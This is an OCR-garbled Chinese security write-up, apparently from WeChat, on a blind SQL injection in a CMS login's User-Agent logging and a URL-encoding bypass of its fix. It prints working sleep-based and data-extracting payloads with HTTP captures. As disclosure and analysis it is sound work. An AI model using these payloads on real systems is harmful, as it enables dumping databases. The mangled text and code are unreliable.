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##%% RELEASE NOTES
M- CMS V.1.2.4 (2019-18-27)
- Add setting on content page for member login can see (Choose User Group).
- Add setting on Article and Gallery plugin for member login can see (Choose User Group).
- Add div class on form builder.
- Add Vietnamese language on backend.
- Add Line notify libraries.
- Add copy_as on user groups.
-| Fixed file manager upload vulnerability (Github Issue#2@). |
- Fixed more important bug.

- Improve performance.

@ Crs V.1.2.3 (2019-88-19)

- Add French language on backend.

- Update Bootstrap to 3.4.1.

-|Fixed Time-based blind SQL injection Vulnerability (Github Issue#19).
- Fixed Private Message (PM) error.

- Fixed Article plugin pagination bug.
- Fixed not htaccess support bug.

- Fixed more important bug.

- Improve performance.

BT UESR 1.2.3 RABE T —1 SQL BiF (Issue#19) Ml 1.2 4R AEBE T —
MTEEEREERAE (Issuett20),

BEIZ CMS WRIBEN, RIMEET Codelgniter #ER(EXEMR Cl )HTH IR
FR. X Cl WEXEHRITTHEA, FECHRTRY, #IT-ERHHKRLE,

ISSUEIC &

BMEKXKEBTXD SQL EiF, BELKIHE T GITHUB Lt Issue#19 MTIEE T if

ll\EE
o
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& satuer commented on 19 Jun « edited ~

Title: Time-based blind SQL injection Vulnerability in g /core/MY_Security.php on aallees-1.2.2

Discovered by: @satuer from AET Labs
Security: high (dump database)

Software; https://github.com,/oalfRERess/ a1 chive/1.2.2.zip TR TEA— SR,
o fi B e8] 8 SaLTE A iR
Description: o X EE T AT
There is a high-risk time-based SQL injection vulnerability on the frontend login OER THRE  EHRE
page{http:_.*'_a"v.'ebsit-:-,- 1.2.2/member/login/check). Exploit this vulnerability could dump the whole Ejﬁfﬂ

database without login.
When login in the frontend login page. if the csrf_csz parameter is removed or padded any string, a log

will be recorded in the table ‘login_logs' with reason 'CSRF Protection Invalid’. But the LhENSERTH
"HTTP_USER_AGENT" field is used directly without any check when inserting the recorded. By "\ 0, P esr f_cs_;ﬁ;‘@!?ﬁ
constructing a special "HTTP_USER_AGENT' field, this vulnerakility can be exploited. EhhERE AT FRER

o —FiLRE L CSRFRIF
T AR HEIZFEF ogin 1
ogsiEth . {BEHTTP_USER_A
GENTHE A £ e E %
BAFHRR D . BiTAE—
P HE5RRIHT TP _USER _AGENT
» IEAREIRR AT AR -

files: summ—'core/MY_Security.php

User-Agent: "-( if( condition, sleep(5), 1) )-", "192.168.1.11"'time’) # 44— payload RSHTER, RESTesH
If the condition is true, the page will return after 5 seconds, otherwise it will return immediately. g———— EiED, NS ‘Tghﬁ@ iz
=

When UA is ‘-(if((substr{(select email from user_admin limit 1), 1, 1)="1",sleep(5).1))-",

'192.168.1.11" time") #

The sqgl string is INSERT INTO login_logs (email_login. note, result, user_agent. ip_address,

timestamp_create) VALUES (", "CSRF Protection Invalid’, "CSRF_INVALID', "-(if{(substr{(select email from

user_admin limit 1),1,1)="1),sleep(5).1))-", '192.168.1.11", time’} #, '192.168.62.1", '2019-06-19 XaRRAGE ﬁﬁﬁ‘ﬂﬁﬁﬁ’]
21:17:34.000000") T, BARE—FR

A ERREIBTERE - {E%E
Bt fselectiFMEHIT

«— sl ceps
But the sub select statement will execute, and the sleep will execute if condition is true. ._Qﬂ;ﬁ%ffl:ﬁﬂﬁsleepz%ﬂ

Eorron s o oo
BRLA, TElogin_lozsFEHAYD

S 1 A gy [ pab AR
So, the records in the login_logs table will not increase. The IP will not be added to the blacklist and %ggfgg ﬁgiﬁu%}%

The insert statement does not actually execute because the last column is not in the correct time format.

condition($count < 10 in line 45) is always true. Then you can dump whole database one by one byte, AT 4517) —E B2 true.
, - - PRI D — R — S A
Suggest: EEEY. FHEDISIEDCH. BEREE.

Check UA before inserting UA into sgl statement f——— $3HTTP USER_AGENT

XN —1 1.2.2HRAELERE ISSUE ER, MPHEMNAMNBELXURRELKRERE
ABT XBW=E, FEGREEEZE, BAMxE, BEXHEX.

£ lssue FARELHE THRBEXHNEIZE /core/MY_Security.php , 4G HT
Payload #%: ErEIEEFE, User-Agent: '—=( if( condition, sleep(5), 1))-
", '192.168.1.11",'time" )# . ARBBREFEREAT T IFAER: BT S HR
kK, %Z CMS RIExXxTZERXRENER, UN" XU CSRF BFIF"AERE NBIEE.
B2ERFM HTTP_USER_AGENT XM ZHMREELTEN, MEZEHESR SQ L
BEAR, BUER T IRER U#AA,

ERBRERELBRELGH TEERW.
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BIRIFEETXHRHET 1.2.2 RAHW MY_Securtiy.php X%,

MY _Securtiy 24 & Cl| #EZ2# Cl_Security, AN H L2 H X%
.

<?php
defined('BASEPATH") ("No-direct-script-access-allowed');
class-MY Security CI Security-{

$ip_address FALSE;
$_enable_xss---FALSE;

BN EIREE csrf_show_errorfi@ER 22—, HLKETZRBNBFAIE:

4p Security.php

function-csrf_verify()

{

(:frchﬁ;?r($_SERUER['REQUEST_HETHOD']) 'POST")

{
}

pthis->csrf_set_cookie();

($exclude_uris config_item('csrf_exclude_uris'))

{
$uri load_class("URI", - ‘core');
($exclude_uris $excluded)
{

(preg_match("#*" .$excluded. '$#i" . (UT ENAE 2-'ut i), $uri-suri_string()))

{
}

sthis;

}

$valid---isset($_POST[$this->_csrf_token_name], -$_COOKIE[£this->_csrf_cookie_name])
hash_equals($_POST[§this->_csrf_token_name], -$_COOKIE[£this->_csrf_cookie_name]);

unset($_POST[Ethis->_csrf_token_name]);

(config it:ﬂ('csrf_regenerdte']j

{

unset($_COOKIE[$this->_csrf_cookie_name]);
fthis->_csrf_hash-=-NULL;

$this-» csrf _set_hash();
$this-»csrf_set cookie();

($valid UE)

is->csrf_show _error();

TBHHEECIEZR PR Security.php X#: 7 csrf WIFKR, WR csrf_token =&
%, WM& Acsrf_show_error B, MUBENEMEBE KRR, FEB
csrf_token ZHAIREIE NN — T,

Cl_Securityffcsrf_show_error: R HEHERE R,
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function-csrf show error()

show error('The-action-you-have-requested-is-not-allowed."’,

My_Securityf #csrf_show_error:i8 M7 NEBIREXNWICRAEHMBD THIZM

K
Ko

$ip-address )

‘,V-m.rsqli DE B USERNAM DB_PASS, -DB_NAM );

$qu9ry ) 3 : _address - login_logs i ddress . f$ipaddress "* - AND
S LG AND- timestamp_create->=-DATE_SUB("'" »tin w()."", INTERVAL-5-MINUTE)");

$count $qUPrv >NUM_rows;
($count 1
$sql-=-" login_logs- ( il login, -note, -result, -user_agent, -ip_add s, -timestamp_create)
,- *CSRF_INVALID", - **.$_SERVER[ "HTTP_USER_AGENT'].*',-*" $ipaddress

>
$mysqli->query($sql);

e();

: y($_SERVER[ “HTTP_REFERER"])) - {
$referer_host é 1($_SERVER[ "HTTP_REFERER" ], - PHP
$own_host par - item( 'base url'),-PHP_URL_|
(($referer_host $referer_host $own_host)) - {

$ _SERVER["HTTP_REFERER"]

not - allowed - by - CSRF Prn+Pr+1ﬂn Please-wait-2-seconds-to-redirect.’,

SRF-Protection. -Please-clear-your-browser - cookie-and

allowed-by -C5RF -Protection. -Ple clear-your-br cookie-and-cache.’,

F£4517, EIRA LR EFIIE A MWcondition, MRIEFGFAESEMNIT, Mcountth F& 1
m, FAIAEZRHE—E Atrue,

4647, AIUEL EHIEY $_SERVER['HTTP_USER_AGENT'] #3#£3 SQL 1
INSERT 89, HREEMEIIE, FRUAFE TSQL A,

EREFXEEBPT, XITRBANZEERTENEEE, ESITLEXNRABENTEHE
EXAEERE, EXNIssuetIOFFEE—BREEBHNCMSAARENRELIRE B8
SFIEICF, Sl T HAME:

https://mp.weixin.qq.com/s/zC8xgIKjuQikXnObEHzMJg 6/13



2020/7/27 S E AL ETZE0day ? LEMIIRIE % P Y IR T2 3

B Ric &

- cskaza commented on 20 Jun « edited = Owner  +(@) PRAT LA & BRI
BEMEEH37
Can you download this file and extract all file from this file replace with old file? B L T EinkiE
https://www. e com/downloads/upgrade-1.2.3-rev1.zip / BEEHET.
pglivaest B
And try to test for exploit again. £ MR I S bug.

Please tell me know the result.

Thanks for your security bug.

& satuer commented on 20 Jun - edited = Author  +(&) == ﬁﬁﬁ?ﬁ?ﬁ%ﬁ?ﬁT EE’[#;FE_-
ARER, ERTENSNH
AFE. HERT RBeEh

I replaced the old files with the new files and tried again. but unfortunately the problem still exists. And I*_,‘--' 1) [ H xes_cleanFE]
checked your changes, | think using the xss_clean function couldn’t solve the sql injection problem %Kauﬁz&savilm ;ﬁ -
[A . o

It is recommended to use the function ‘escape-string ' or 'real_escape_string’ which escapes spedal . . .
’ ’ HEHFEFHescape-stringBiE
real_escape_string(BE{EiEE

e SQLEA) th BANSTRT I

characters in a string for use in an 50L statement or use prepare and bind_param...

https://www.php.net/manual/en/mysqli.real-escape-string.php

https://www.php.net/manual/en/mysqliprepare.ph m v
R SapreperEene HE TLUERRE FHSES
Use escape-string for test #e.

{F B escape-stringfil#.

The injection string will be escaped. UA is recorded as a string in the log TIA?BE}.E_??_E.T « HTTP_USEF_AG
ENTHE HEH S — 1T HE
HFFR.

wE EIRAARAR 1.2.2, MEXENFREEELZFKRET 1.2.83-reviik X, FEHEIAE
EXN SQL EFAME@A, AFRZEBRELKREMEH 1.2.3-revl XKEERESRBE TR
.

XPMRELBREFFEEMLO, MEIRESHAERINODAHZERECENRN, £ESF
1.2.3-revl B9 MY_Security.php BB, LHFIFCMSHAEFHH xss_clean K
BHATERR SQLIEIFANBA, HES RN ZEREMNRE N escape-string
5 Ereal_escape_string XA M EEEIE SQL TN, HAXTXAEIRHKE
PHP.NET WEFHENULREEZENABURMIKER,

BREZEHXE:

https://mp.weixin.qq.com/s/zC8xgIKjuQikXnObEHzMJg
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- cskaza commented on 21 Jun Owner  +(@) - R TSR HHFEE
EEHAIR 4R
Can you download this file and extract all file from this file replace with old file? gig;ﬁ§$ (revahfiA)
https:/ /e o m /downloads/upgrade-1.2.3-rev2.zip ) iﬁ'%iﬁﬁ%iv
And try to test for bug again. - ZWHRIEe A E 2 bug.
Please tell me know the result. GFEREHEM

Thanks for your security bug.

WAT. FIRFEREAT

& satuer commented on 21 Jun Author | +@) == . £,
Verified. no longer work, thank you. L
@ - cskaza closed this on 21 Jun < {E&XAILISSUE

XPMNCMSHAEERHE, EZRMHMET 1.2.3-rev2 RAZRXBETXNEET, H
BEBEXRBERBDLEENLESEEL A,

mEALIRETFSHRINEREBE, Payload ~"BEFER, AEAREBEXATIHEA,
Ef—1TFHIR CMS WL ERBEIEET .

0x08 MEpR®

BMNATUMNPFEFA?

BRXK—JPERE, ERHRMNEMNIERNEFRGSRMFA0E?

BINXTAREREEARALERTIRN, 2 CMS €38 xxs_clean R, EAFRE
HEEXRIRE XSS EBEABHIFK THNMN KRB RMIIELIE,

BREZARENTLZEOBNBAHINRAARAKRNBEMW ., EME SQL SENQENTEF
xss_clean RBAXNEHE, XSRPMTTF SQL FAFTENERMEBE A EHT
KA,

BAIKEBETGITHUBL 1.2.3-rev2 IRAFHAREN FTXTEENEBE S F:

$s5ql = "INSERT INTO login_logs (email login, note, result, user_agent, ip_address, timestamp create)

VALUES (*", 'CSRF Protection Invalid', "CSRF_INVALID®, "".$_SERVER['HTTP_USER_AGENT'].”", "".$ipaddress.”’, '".$this->timeMow().”')";
+ VALUES ("', 'CSRF Protection Invalid', "CSRF_INVALID', "".sthis->xss_clean(Smysqli->escape_string($_SERVER["HTTP_USER_AGENT']))."", "

$mysqli->query($sql);

https://mp.weixin.qq.com/s/zC8xgIKjuQikXnObEHzMJg 8/13
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FAEERIIE, FA T escape_string REE SQL FAWEHE, HHOREF., B
fttH#H % B E3E xss_clean A&, Ma&Eescape_string ARAZEMAE 4 EF B

xss_clean Hi%,

XEAFLAR? BMNRXKEHABUALENEE: E1.2.3-rev2hlRAFFEMAxss_clean
EXREE, FTRIMETescape_stringREE1ZRKIE, xss_clean SAEBEBRFHH
Bk, escape_stringth RN EBERFFINAZE, MIITBEERENNAZEZE ME
ke, BNRELZEM, MEAmD WAF SBHEMN, FNIZEH EMXENE?

EREXLAEHFAL, BFERXMBERETHNEINS!

ZEBERR

BXE— T escape_string BIERENX T HLEFR:

\x1a

HTXE SQL FARFFE, BIMNEE ' XKFAEGED, ER escape_string 2%
"R\ MmBEL SQL JEA.

H{I1KE T xss_clean KR IG:
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function-xss_clean(fstr,-$is_image FALSE)

(is_array($str))

($str $key $value)

$str[fkey] §this-»xss_clean($value);

$str;

$str-=-remove_invisible characters($str);

(stripos(%$str,-"%")
1

$oldstr- - -$str;
$str---rawurldecode($str);
$str-=-preg_replace_callback( '#%(?:\s*[08-9a-f]){2,}#i", -array($this, - '_urldecodespaces"), -$str);
3
($oldstr $str);
unset(foldstr);

354-365 ITER—1TEFBEHA,
368ITRE—TRBBRANANFFHMNALIE, W: \x00, \x01 FF,

379-389 TRHIMNIXERE, XEALBEHG S$str S8+
MEENEMHENEE URL BIBHBEIEAA rawurldecode

XN AMEBHRMNEHAREIE? !

escape_string AEHASENX % , FRAFEAIE Payload #17T URL ®EBEHA
S escape_string AERTEAANST., MEFFIX xss_clean Bt Payload ¥ #
URL RS, MM&ZE 73 SQL FANTIE.

https://mp.weixin.qq.com/s/zC8xgIKjuQikXnObEHzMJg




2020/7/27
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B A NI T EREN Payload:

xx'—( if((1=1), sleep(5), 1)

Request

)_II’
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'192.168.1.11", "time") \#x*xx

Response

POST.-‘nnmb-.r.l'low-:hq:h HTTEN A

Hest: locathost

User-Agent “{ #[1=1), sheap(S), 1)}, 1921681 11" Yima) #

Accept: texthiml applicationtxhimi ¢xmi appbcationfxmi;g=0 9,%" q=0.8
Accapt-Languags: 2h-CH 2hq=0.8.2h- TW.qu0.7 2h HK =0 5 an-US q=0.3.0n:qm0. 2
Reforer. hitp iocahos) e memberiogin

Content-Type: apphication/s-wam-Torm-ulencoded

Contart-Langth: 33

Conmwction: close

Upgradeinsecure-Requests: 1

emad=1%480111 comSpassword= 123456

Lll l;J u lLJ Type & search
Done

Al
1X

BERIER, B Payload <.

K Payload ®i2I¥ R Payload i#

**%27%20%28%20%69%66%28%28%31%3d

Request

lggmmm|mmnhm]

Te

-

L
0 matches

HTTR.1 403 Forbidden

Date: Mon, 18 Nov 2019 06:19 20 GMT

Server: Apacha/2 4 23 (Wind2) OpenSSLA 02 mod_fegid2 39

X-Powsred-By: PHRYT 012

Sat-Cookia

cszcookes_dallEIcISTar 007 B84 2060806A0 5_cookie_cszmb 1Bl sad BHNEEI3E3dab | 7208434,
exprey=hon, 18-Now 2013 081320 GMT, Max-Age=T200, path=/, domain=localhosi, HilpCmly
Sat-Cookie: cezcookia_dal0B3co5T aT900T cA28421 206 LB0EE0c o _cockin_car=delsted, sxpires=Thu
01-Jan-1970 00.00:01 GMT. Max-Agen(); pathal

Connection: close

Content-Typa: textmi charsst=UTF-8

Content-Length: 2611

<scngt=window.setTi {window =
“Wipziocalhost ol emberlogin?nocach e=15T405T9617; ) 2000);</scripts < [DOCTYPE himbs
<himl lang="en">

<haad»

<mta names"generator” contents TR | Open Souice Content Management with response” />

<mta hiip-equiv="X-UA-Compatible” content="IE=adge” />

it s hitp-aquive"Content-typa” content="texthml, charset=uaid® />

<hik hewt"hatp Moc athost T srnplat 5/ sdmnfimgs/faacon ico” ri"shadeut icon”
type="imagsfico” />

wvtlanFavar | An Froas Was F ol Borla

L?‘J ILJ ‘LI u Type & search ferm

e

-
v

0 matches

3,173 bytes | 1,039 milks

7 URL %®f3, ¥ Payload:

%65%65%70%28%35

Response

Hoaders | Hex | HTML | Render |

%29%

POST gV rembarogincheck HTTRA 1

Host: lacalhost

User-Agent:

27 H2d%28 %20 %6 EE %28 % 0% 31 R3d% 31 %29 %2 %2047 3 %60 A5 E5 %T0 %10 %5 2% e %20%
I R2RINRZINIINIT NI R BDWITHI 1 RIFRIT R 20N RIERIARTeWNI H2eWNI1 NI NITRIc N2
THeT 496060 NE5 %I T HIINI0NII

Accepl: texthiml apphcation/xhimbbxml apphc ationfaml g=0 9 ° g=0 8

Accept-Language: zh-CM,zh;q=0.8.2h- TW.q=0.7 zh-HK:q=0.5.en-US; ¢=0.3 an;q=0.2

Refarer: http:[Moc alhost el mambariogn

Conlent-Type: application/s-www-form-urlencodad

Contens:Length: 33

Connection: close

Upgrade-Insecure-Requests: 1]

amail= 1%401 11 comEpas sword= 123456

m lﬂ t] w Tyoe a search ferm
Done

EMENMRI, ZIEBERR,

https://mp.weixin.qq.com/s/zC8xgIKjuQikXnObEHzMJg

Te

-l

0 matches

HTTRA.1 403 Fesbiddan

Duata: Mon, 18 Nov 2019 06:19:57 GMT

Serer Apache/2.4.23 (Win32) OpenS5LN 0.2) mod_fogid2 3.9

XePowsred-By: PHP/T 012

Set-Cookie

eszeookie_dad063c95T a7 9007 B84 21 a06b8bEA0c e _cookie_cer=BddialeTOBEa0T0320284551 21943ba;
oxpirgs=hlon, 18-Mow2019 081957 GMT, Max.Age=FI00; path=/, demain=localhost; HilpOnly
Set-Cookia: cszcookia_dadiB3c5T a7 00T 82842 1 alEbELERD cerl_cookie_csz=daleted, expires=Thu,
01-Jan- 1970 00:00:01 GMT: Max-Age=0; path=/

Connzction: close

Coment-Type: textml. charset=UTF-&

Content-Length: 2611

<scnptwindew setTimeoutffunctionfifwindow.location =
“hitp:/Tecalhost mm—m e mberTogin?nocache= 15740580037 },2000);</scipt>< DOCTYPE himi
<html langa"en">
<head>
<mata name="generator” content="SENNNNENE Cpen Scurce Coment Managemant with respensie” >
<mata hitp-dquin="UA-Compatible™ content="IE=edge” /=
<méta hitp-equiv="Comant-1ype” coment="text/himl, chaset=utg" />
<hik higf"hilp Aocathost e platésfadminfimg sMaa con.ice”™ ri”shodcut icon”
type="Imagalico” />
wiitlanFrear | An Favar Was Fasantasads Ralss

m w lL] lil Type & search ferm

e

-
v

0 matches

31473 bytes

2 SQL REEFRME.,

[o]

2ce

=
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o0x04 B

LREEGITHUBAR LR TEEZE HBA

&

edwatering cormmented on 14 Mov 2019 \ .
Hi, 81, BFEL 2. GRF—
Hi, @cskaza and | found an eslsimiesias® vulnerability inemmp-1.2.4, The MBI IRREISTENY_Secu
wvulnerable code is onewgeme/core/MY_Security,php file line 47, rity. phpX #4747
. | 1Hi) A Fescape-string @]

| think using the function ‘escape-string’ can solve the 3ql injection vulnerability,but you I'd PARRRSOLIF AR . BRMR

use function "xss_clean’ after it. The function 'xss_clean’ can decode strwith function Eiﬁ_{zﬁi}uﬂm T xss_cl eant¥
‘rawvurldecode’,so | can exploit like #19, é’io . clean@ﬁqlé‘%
Utlencode the value of UA; gﬂj@ﬂr;mldecndeﬂﬁﬂc
Before: . i
n —
User-Agent: '=(if(1=1, sleep(5), 1) )", "192.168.1.11","time") # %%g}%%lsm 19 —1¥
After: s .] :{nfu
User-Agent: Fi _EiRiEA i

Y2 TH2d%20%2 (PR 0960%6 282631263 d% 31942 % 2006 732460 Vb5 260526 1006287635262 962 %%
20%631%29%20%2 Wia2d¥2 TH2 T2 c %2 0062 7263196390632 %626 %631 %6 36%638% 26 %631%:26 %31

o g

U31%62 7262 %2 T T 6T 0d 6652762 7262 62 07623

')
"]

R e T e et LT
L] .

b depatees al L Sl

[ s |
LTy L] :‘I"
Suggest: Rermove function “xss_clean’ here, ‘ 1@’3‘5@1}{ Eﬂ#ﬂﬁ%
xss_cleanff%Y.
cskaza commented on 25 Now 2019 Owner
¥ il )_' x Wy ﬂé_‘ .
Thanks for your suggest. | will resolve it, < ﬁﬁjt\mﬁﬂ” BafRR
IMalE,
cskaza commented on 28 Nov 2019 « edited » Owner
This bug has been to resolved, 44— lﬂf.bus Eﬁﬁﬁ%’&a
https://gitlab.com P/ < o mmit/64b4851c5d 79 bAefac4d99708d 303 c 239bF63b Bt - 5Ed% .
Th 2.
anks,

https://mp.weixin.qq.com/s/zC8xgIKjuQikXnObEHzMJg
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MEE THEH

PEMARE, FPXREES, SHFERFR

K HERRE BT SABRA
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